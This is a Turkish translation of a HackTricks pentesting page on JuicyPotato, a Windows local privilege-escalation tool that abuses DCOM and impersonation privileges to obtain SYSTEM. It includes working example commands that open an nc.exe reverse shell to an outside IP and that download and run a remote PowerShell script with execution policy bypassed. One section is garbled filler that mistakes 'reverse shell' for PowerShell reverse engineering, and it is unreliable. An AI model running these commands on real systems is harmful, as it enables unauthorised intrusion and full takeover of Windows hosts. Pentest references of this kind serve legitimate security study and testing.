12 KiB
JuicyPotato
AWS hackleme becerilerini sıfırdan kahraman seviyesine öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı) ile!
- Bir cybersecurity şirketinde çalışıyor musunuz? Şirketinizi HackTricks'te reklamını yapmak ister misiniz? veya PEASS'ın en son sürümüne veya HackTricks'i PDF olarak indirmek ister misiniz? ABONELİK PLANLARINI kontrol edin!
- The PEASS Ailesi'ni, özel NFT'lerimiz koleksiyonumuzu keşfedin.
- Resmi PEASS & HackTricks ürünlerini edinin.
- 💬 Discord grubuna veya telegram grubuna katılın veya Twitter 🐦@carlospolopm'u takip edin.
- Hacking hilelerinizi hacktricks repo ve hacktricks-cloud repo ile göndererek paylaşın.
{% hint style="warning" %}
JuicyPotato, Windows Server 2019 ve Windows 10 sürüm 1809'dan itibaren çalışmamaktadır. Bununla birlikte, PrintSpoofer, RoguePotato, SharpEfsPotato aynı yetkileri kullanarak ve NT AUTHORITY\SYSTEM
düzeyinde erişim sağlamak için kullanılabilir. Kontrol edin:
{% endhint %}
{% content-ref url="roguepotato-and-printspoofer.md" %} roguepotato-and-printspoofer.md {% endcontent-ref %}
Juicy Potato (altın yetkileri kötüye kullanma)
Biraz meyve suyu eklenmiş RottenPotatoNG'nun tatlandırılmış bir versiyonu, yani Windows Hizmet Hesaplarından NT AUTHORITY\SYSTEM'e yerel ayrıcalık yükseltme aracı
Juicypotato'yı https://ci.appveyor.com/project/ohpe/juicy-potato/build/artifacts adresinden indirebilirsiniz.
Özet
RottenPotatoNG ve varyantları, BITS
hizmeti temelindeki ayrıcalık yükseltme zincirini kullanır ve SeImpersonate
veya SeAssignPrimaryToken
ayrıcalıklarına sahip olduğunuzda 127.0.0.1:6666
üzerinde MiTM dinleyiciye sahiptir. Bir Windows derleme incelemesi sırasında, BITS
'in kasıtlı olarak devre dışı bırakıldığı ve 6666
numaralı bağlantı noktasının alındığı bir yapı bulduk.
RottenPotatoNG'yi silahlandırmaya karar verdik: Juicy Potato'ya merhaba deyin.
Teori için Rotten Potato - Hizmet Hesaplarından SYSTEM'e Ayrıcalık Yükseltme makalesine bakın ve bağlantılar ve referanslar zincirini takip edin.
BITS
dışında, kullanabileceğimiz birkaç COM sunucusu olduğunu keşfettik. Bunlar sadece:
- mevcut kullanıcı tarafından anında oluşturulabilir, genellikle bir "hizmet kullanıcısı" olan ve taklit yetkilerine sahip olan
IMarshal
arabirimini uygulayabilir- yükseltilmiş bir kullanıcı olarak çalışabilir (SYSTEM, Yönetici, ...)
Bazı testlerden sonra, çeşitli Windows sürümlerindeki ilginç CLSID'lerin kapsamlı bir listesini elde ettik ve test ettik.
Detaylar
JuicyPotato ile şunları yapabilirsiniz:
- Hedef CLSID istediğiniz herhangi bir CLSID'yi seçin. Burada OS'ye göre düzenlenmiş listeyi bulabilirsiniz.
- COM Dinleme bağlantı noktası sabitlenmiş 6666 yerine tercih ettiğiniz COM dinleme bağlantı noktasını tanımlayın
- COM Dinleme IP adresi sunucuyu herhangi bir IP'ye bağlayın
- Proses oluşturma modu taklit edilen kullanıcının ayrıcalıklarına bağlı olarak aşağıdakilerden seçim yapabilirsiniz:
CreateProcessWithToken
(SeImpersonate
gerektirir)CreateProcessAsUser
(SeAssignPrimaryToken
gerektirir)her ikisi
- Başlatılacak Proses saldırı başarılı olduğunda bir yürütülebilir veya komut dosyası başlatın
- Proses Argümanı başlatılan işlem argümanlarını özelleştirin
- RPC Sunucusu adresi gizli bir yaklaşım için harici bir RPC sunucusuna kimlik doğrulayabilirsiniz
- RPC Sunucusu bağlantı noktası eğer harici bir sunucuya kimlik doğrulamak istiyorsanız ve güvenlik duvarı port
135
'i engelliyorsa işe yarar... - TEST modu çoğunlukla test amaçlıdır, yani CLSID'leri test etmek için. DCOM'u oluşturur ve token'ın kullanıcısını yazdırır. Test için buraya bakın
Kullanım
T:\>JuicyPotato.exe
JuicyPotato v0.1
Mandatory args:
-t createprocess call: <t> CreateProcessWithTokenW, <u> CreateProcessAsUser, <*> try both
-p <program>: program to launch
-l <port>: COM server listen port
Optional args:
-m <ip>: COM server listen address (default 127.0.0.1)
-a <argument>: command line argument to pass to program (default NULL)
-k <ip>: RPC server ip address (default 127.0.0.1)
-n <port>: RPC server listen port (default 135)
Son düşünceler
Eğer kullanıcının SeImpersonate
veya SeAssignPrimaryToken
yetkileri varsa, o zaman SYSTEM olursunuz.
Tüm bu COM Sunucularının kötüye kullanılmasını engellemek neredeyse imkansızdır. Bu nesnelerin izinlerini DCOMCNFG
aracılığıyla değiştirmeyi düşünebilirsiniz, ama iyi şanslar, bu zor olacak.
Gerçek çözüm, * SERVICE
hesapları altında çalışan hassas hesapları ve uygulamaları korumaktır. DCOM
'u durdurmak bu saldırıyı kesinlikle engeller, ancak altta yatan işletim sistemi üzerinde ciddi bir etkisi olabilir.
Kaynak: http://ohpe.it/juicy-potato/
Örnekler
Not: Denemek için CLSID'lerin bir listesi için bu sayfayı ziyaret edin.
Bir nc.exe ters kabuk alın
c:\Users\Public>JuicyPotato -l 1337 -c "{4991d34b-80a1-4291-83b6-3328366b9097}" -p c:\windows\system32\cmd.exe -a "/c c:\users\public\desktop\nc.exe -e cmd.exe 10.10.10.12 443" -t *
Testing {4991d34b-80a1-4291-83b6-3328366b9097} 1337
......
[+] authresult 0
{4991d34b-80a1-4291-83b6-3328366b9097};NT AUTHORITY\SYSTEM
[+] CreateProcessWithTokenW OK
c:\Users\Public>
Powershell tersine mühendislik
Bu bölümde, Powershell tersine mühendislik tekniklerini ele alacağız. Powershell, Windows işletim sistemlerinde kullanılan bir betikleme dilidir ve sıklıkla siber saldırganlar tarafından hedef sistemlere erişim sağlamak için kullanılır.
Powershell tersine mühendislik, bir Powershell betiğini analiz etmek ve içindeki işlevleri, değişkenleri ve komutları anlamak için kullanılan bir yöntemdir. Bu, saldırganların hedef sisteme zararlı kod enjekte etmek veya hassas bilgilere erişmek için kullanabileceği bir yetenektir.
Powershell tersine mühendislik teknikleri, Powershell betiğinin çalışma mantığını anlamak, kodu analiz etmek ve potansiyel güvenlik açıklarını tespit etmek için kullanılır. Bu teknikler, saldırganların hedef sistemdeki zayıf noktaları tespit etmelerine ve daha sonra bu zayıf noktaları kullanarak hedef sistemdeki ayrıcalıkları yükseltmelerine olanak tanır.
Powershell tersine mühendislik, siber güvenlik uzmanları ve pentester'lar tarafından kullanılan bir beceridir. Bu teknikleri kullanarak, saldırganlar hedef sistemdeki güvenlik açıklarını tespit edebilir ve bu açıkları kullanarak hedef sistemdeki ayrıcalıkları yükseltebilir. Bu nedenle, siber güvenlik uzmanlarının ve sistem yöneticilerinin Powershell tersine mühendislik tekniklerine karşı savunma mekanizmaları geliştirmeleri önemlidir.
.\jp.exe -l 1337 -c "{4991d34b-80a1-4291-83b6-3328366b9097}" -p c:\windows\system32\cmd.exe -a "/c powershell -ep bypass iex (New-Object Net.WebClient).DownloadString('http://10.10.14.3:8080/ipst.ps1')" -t *
Yeni bir CMD başlatın (RDP erişiminiz varsa)
CLSID Sorunları
Genellikle, JuicyPotato'nun kullandığı varsayılan CLSID çalışmaz ve saldırı başarısız olur. Genellikle, çalışan bir CLSID bulmak için birden fazla deneme yapmak gerekmektedir. Belirli bir işletim sistemi için denemek için CLSID listesine ihtiyacınız varsa, bu sayfayı ziyaret etmelisiniz:
{% embed url="https://ohpe.it/juicy-potato/CLSID/" %}
CLSIDs'i Kontrol Etme
İlk olarak, juicypotato.exe dışında bazı yürütülebilir dosyalara ihtiyacınız olacak.
Join-Object.ps1'i indirin ve PS oturumunuza yükleyin, GetCLSID.ps1'i indirin ve çalıştırın. Bu komut dosyası, test etmek için olası CLSID'lerin bir listesini oluşturacaktır.
Ardından test_clsid.bat 'ı indirin (CLSİD listesinin yolunu ve juicypotato yürütülebilir dosyasının yolunu değiştirin) ve çalıştırın. Her CLSID'yi denemeye başlayacak ve port numarası değiştiğinde, CLSID'nin çalıştığı anlamına gelecektir.
Çalışan CLSİD'leri -c parametresini kullanarak kontrol edin
Referanslar
AWS hackleme hakkında sıfırdan kahraman olmak için htARTE (HackTricks AWS Red Team Expert)'ı öğrenin!
- Bir cybersecurity şirketinde çalışıyor musunuz? Şirketinizi HackTricks'te reklamını görmek ister misiniz? veya PEASS'ın en son sürümüne erişim sağlamak veya HackTricks'i PDF olarak indirmek ister misiniz? ABONELİK PLANLARINI kontrol edin!
- The PEASS Family koleksiyonumuz olan özel NFT'leri keşfedin
- Resmi PEASS & HackTricks ürünlerini edinin
- 💬 Discord grubuna veya telegram grubuna katılın veya Twitter'da beni takip edin 🐦@carlospolopm.
- Hacking hilelerinizi hacktricks repo ve hacktricks-cloud repo göndererek paylaşın.